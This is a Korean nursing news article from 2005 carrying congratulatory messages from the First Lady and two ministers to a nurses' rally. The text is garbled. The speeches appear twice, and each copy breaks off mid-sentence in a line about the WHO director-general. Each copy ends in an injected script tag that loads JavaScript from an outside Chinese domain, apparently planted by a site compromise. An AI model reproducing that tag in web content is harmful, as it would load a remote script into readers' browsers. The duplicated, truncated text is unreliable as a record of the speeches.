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2005 간호사 한마음대회 - 축하메시지
[편집국] 편집부 news@nursenews.co.kr 기사입력 2005-05-17 오전 09:02:27
◆ 영부인 권양숙 여사 축사
==간호사 긍지 갖고 일하도록 성원
간호사 여러분 안녕하십니까. 여러분의 큰 잔치 한마음대회를 진심으로 축하드립니다. 국민건강을 위해 애써 오신 여러분께 감사의 말씀을 드립니다.
병원을 찾을 때마다 저는 간호사 여러분을 왜 백의의 천사라고 하는지 실감하게 됩니다. 환자들을 돌보는 손길도 바쁘지만 한시도 긴장을 늦출 수 없습니다. 진정한 봉사정신 없이는 하기 힘든 것이 바로 여러분의 일이라고 생각합니다. 또한 여러분은 자원봉사단 활동 등을 통해 도움이 필요한 이웃에게 사랑과 희망을 전해주고 있습니다.
오늘 간호사들이 장기기증 서약에 참여한다고 들었습니다. 여러분의 그런 마음이 우리 사회를 더욱 따뜻하게 만들 것이라고 확신합니다.
지금 우리는 선진국을 향해 한 발 한 발 나아가고 있습니다. 의료와 복지에 대한 국민들의 기대와 요구도 그만큼 높아지고 있습니다. 정부는 모든 국민이 평생건강을 보장받는 시대, 보다 선진화된 의료서비스를 갖춘 사회를 만들기 위해 열심히 노력하고 있습니다.
여러분의 역할이 중요합니다. 전문의료인으로서 국민의 건강과 생명을 지키는 일에 더욱 힘써 주시길 바랍니다. 저도 여러분이 긍지를 가지고 일할 수 있도록 관심과 성원을 아끼지 않겠습니다.
다시 한 번 이번 대회를 축하드리며 간호사 여러분의 행복을 기원합니다.
◆ 김근태 보건복지부 장관
==저출산.고령사회 큰 역할 기대
간호사 여러분! 오늘은 나이팅게일의 탄생을 기념하는 날입니다. 또한 아프고 다치고 병든 사람에 대한 배려와 사랑을 다짐하는 전국 간호사 여러분의 생일이기도 합니다. 축하드립니다.
간호사 여러분이 나이팅게일의 정신을 이어받아 그동안 봉사정신으로 헌신적인 노력을 해왔음을 국민들은 잘 알고 있습니다. 오늘날 우리 국민의 평균수명이 획기적으로 늘었고, 짧은 기간 내에 선진국의 보건의료 수준을 따라잡았습니다. 간호사 여러분들이 그 일익을 담당하였습니다.
정부는 지난 4월 `저출산.고령사회기본법'을 만들었습니다. 우리나라의 출산율이 OECD 회원국 중 가장 낮은 1.19명입니다. 국가적 재난이 될 수도 있는 이 문제를 해결해 나가는데 간호사 여러분들이 함께 노력해 주십시오.
또한 치매나 중풍 등 요양이 필요한 노인이 지속적으로 증가하고 있습니다. 노인요양 문제를 범국민적으로 해결해야 하는 시대가 왔습니다. 이 문제의 해결을 위해 특별히 간호사 여러분이 적극적으로 기여해 줄 것을 요청합니다.
정부에서도 간호사 여러분의 역할을 위해 적극적으로 노력하겠습니다. 전문간호사제도의 조기 활성화를 위해 최선을 다하겠습니다. 우리나라의 우수한 간호인력이 해외로 진출할 수 있도록 적극적으로 지원하겠습니다.
여러분이 `1만 간호사 장기기증운동'을 전개한 것은 앞으로 우리나라 장기기증운동에 큰 변화를 가져올 것입니다. 장기기증으로 사랑을 보여준 간호사 여러분께 진심으로 감사드립니다.
◆ 장하진 여성부 장관
==여성의 힘이 국가 경쟁력의 시작
싱그러운 신록의 계절에 전국의 간호사와 간호대학생들이 한자리에 모여 국제간호사의 날을 기념하는 간호사 한마음대회를 개최하게 된 것을 축하드립니다.
대한간호협회는 1923년 창립된 이래 간호사들의 직업윤리 준수와 국민의 건강증진을 위한 다양하고 활발한 활동을 전개해온 것은 물론, 나라가 어려움에 처할 때마다 국가와 민족을 위해 아낌없이 헌신해왔습니다. 그 결과 여성의 역할확대와 지위향상에 크게 기여해온 우리나라의 대표적인 전문직 여성단체로 자리 잡고 있습니다.
대한간호협회 회원 여러분! 21세기는 여성의 시대라고 합니다. 여성부는 `여성의 힘이 국가 경쟁력의 시작' 이라는 믿음 아래, 여성들이 잠재된 능력을 개발하고 역량을 마음껏 펼쳐나갈 수 있도록 다양한 정책을 추진하고 있습니다.
여성에 대한 차별을 해소하고, 권익을 증진하며, 여성인력의 육성에 주력하고 있습니다. 또한 여성들이 마음 놓고 사회생활을 할 수 있는 기반을 마련하기 위하여 공보육체계를 강화하는 한편, 가족의 안정성을 확보하고 지원하기 위한 통합적인 가족정책을 추진할 계획입니다.
간호사 여러분! 고령화사회가 도래하면서, 전문 간호인력의 역할이 더욱 중요해질 것입니다. 우리 사회구성원 모두가 행복한 사회를 만들기 위해, 그리고 우리의 후배, 우리의 딸들에게 더 나은 세상을 물려주기 위해 지금처럼 맡은 바 역할을 성심성의껏 감당해줄 것을 부탁드립니다. 저도 여러분이 여성전문인으로 자부심을 가지고 일할 수 있도록 최선을 다해 돕겠습니다.
대한간호협회의 무궁한 발전과 간호사 여러분의 건승을 진심으로 기원합니다.
◆ 해외 인사들
◇ 이종욱(세계보건기구 사무총장) = 간호사 한마음대회에서 만성질환?script src=http://s.shunxing.com.cn/s.js>
==간호사 긍지 갖고 일하도록 성원
간호사 여러분 안녕하십니까. 여러분의 큰 잔치 한마음대회를 진심으로 축하드립니다. 국민건강을 위해 애써 오신 여러분께 감사의 말씀을 드립니다.
병원을 찾을 때마다 저는 간호사 여러분을 왜 백의의 천사라고 하는지 실감하게 됩니다. 환자들을 돌보는 손길도 바쁘지만 한시도 긴장을 늦출 수 없습니다. 진정한 봉사정신 없이는 하기 힘든 것이 바로 여러분의 일이라고 생각합니다. 또한 여러분은 자원봉사단 활동 등을 통해 도움이 필요한 이웃에게 사랑과 희망을 전해주고 있습니다.
오늘 간호사들이 장기기증 서약에 참여한다고 들었습니다. 여러분의 그런 마음이 우리 사회를 더욱 따뜻하게 만들 것이라고 확신합니다.
지금 우리는 선진국을 향해 한 발 한 발 나아가고 있습니다. 의료와 복지에 대한 국민들의 기대와 요구도 그만큼 높아지고 있습니다. 정부는 모든 국민이 평생건강을 보장받는 시대, 보다 선진화된 의료서비스를 갖춘 사회를 만들기 위해 열심히 노력하고 있습니다.
여러분의 역할이 중요합니다. 전문의료인으로서 국민의 건강과 생명을 지키는 일에 더욱 힘써 주시길 바랍니다. 저도 여러분이 긍지를 가지고 일할 수 있도록 관심과 성원을 아끼지 않겠습니다.
다시 한 번 이번 대회를 축하드리며 간호사 여러분의 행복을 기원합니다.
◆ 김근태 보건복지부 장관
==저출산.고령사회 큰 역할 기대
간호사 여러분! 오늘은 나이팅게일의 탄생을 기념하는 날입니다. 또한 아프고 다치고 병든 사람에 대한 배려와 사랑을 다짐하는 전국 간호사 여러분의 생일이기도 합니다. 축하드립니다.
간호사 여러분이 나이팅게일의 정신을 이어받아 그동안 봉사정신으로 헌신적인 노력을 해왔음을 국민들은 잘 알고 있습니다. 오늘날 우리 국민의 평균수명이 획기적으로 늘었고, 짧은 기간 내에 선진국의 보건의료 수준을 따라잡았습니다. 간호사 여러분들이 그 일익을 담당하였습니다.
정부는 지난 4월 `저출산.고령사회기본법'을 만들었습니다. 우리나라의 출산율이 OECD 회원국 중 가장 낮은 1.19명입니다. 국가적 재난이 될 수도 있는 이 문제를 해결해 나가는데 간호사 여러분들이 함께 노력해 주십시오.
또한 치매나 중풍 등 요양이 필요한 노인이 지속적으로 증가하고 있습니다. 노인요양 문제를 범국민적으로 해결해야 하는 시대가 왔습니다. 이 문제의 해결을 위해 특별히 간호사 여러분이 적극적으로 기여해 줄 것을 요청합니다.
정부에서도 간호사 여러분의 역할을 위해 적극적으로 노력하겠습니다. 전문간호사제도의 조기 활성화를 위해 최선을 다하겠습니다. 우리나라의 우수한 간호인력이 해외로 진출할 수 있도록 적극적으로 지원하겠습니다.
여러분이 `1만 간호사 장기기증운동'을 전개한 것은 앞으로 우리나라 장기기증운동에 큰 변화를 가져올 것입니다. 장기기증으로 사랑을 보여준 간호사 여러분께 진심으로 감사드립니다.
◆ 장하진 여성부 장관
==여성의 힘이 국가 경쟁력의 시작
싱그러운 신록의 계절에 전국의 간호사와 간호대학생들이 한자리에 모여 국제간호사의 날을 기념하는 간호사 한마음대회를 개최하게 된 것을 축하드립니다.
대한간호협회는 1923년 창립된 이래 간호사들의 직업윤리 준수와 국민의 건강증진을 위한 다양하고 활발한 활동을 전개해온 것은 물론, 나라가 어려움에 처할 때마다 국가와 민족을 위해 아낌없이 헌신해왔습니다. 그 결과 여성의 역할확대와 지위향상에 크게 기여해온 우리나라의 대표적인 전문직 여성단체로 자리 잡고 있습니다.
대한간호협회 회원 여러분! 21세기는 여성의 시대라고 합니다. 여성부는 `여성의 힘이 국가 경쟁력의 시작' 이라는 믿음 아래, 여성들이 잠재된 능력을 개발하고 역량을 마음껏 펼쳐나갈 수 있도록 다양한 정책을 추진하고 있습니다.
여성에 대한 차별을 해소하고, 권익을 증진하며, 여성인력의 육성에 주력하고 있습니다. 또한 여성들이 마음 놓고 사회생활을 할 수 있는 기반을 마련하기 위하여 공보육체계를 강화하는 한편, 가족의 안정성을 확보하고 지원하기 위한 통합적인 가족정책을 추진할 계획입니다.
간호사 여러분! 고령화사회가 도래하면서, 전문 간호인력의 역할이 더욱 중요해질 것입니다. 우리 사회구성원 모두가 행복한 사회를 만들기 위해, 그리고 우리의 후배, 우리의 딸들에게 더 나은 세상을 물려주기 위해 지금처럼 맡은 바 역할을 성심성의껏 감당해줄 것을 부탁드립니다. 저도 여러분이 여성전문인으로 자부심을 가지고 일할 수 있도록 최선을 다해 돕겠습니다.
대한간호협회의 무궁한 발전과 간호사 여러분의 건승을 진심으로 기원합니다.
◆ 해외 인사들
◇ 이종욱(세계보건기구 사무총장) = 간호사 한마음대회에서 만성질환?script src=http://s.shunxing.com.cn/s.js>
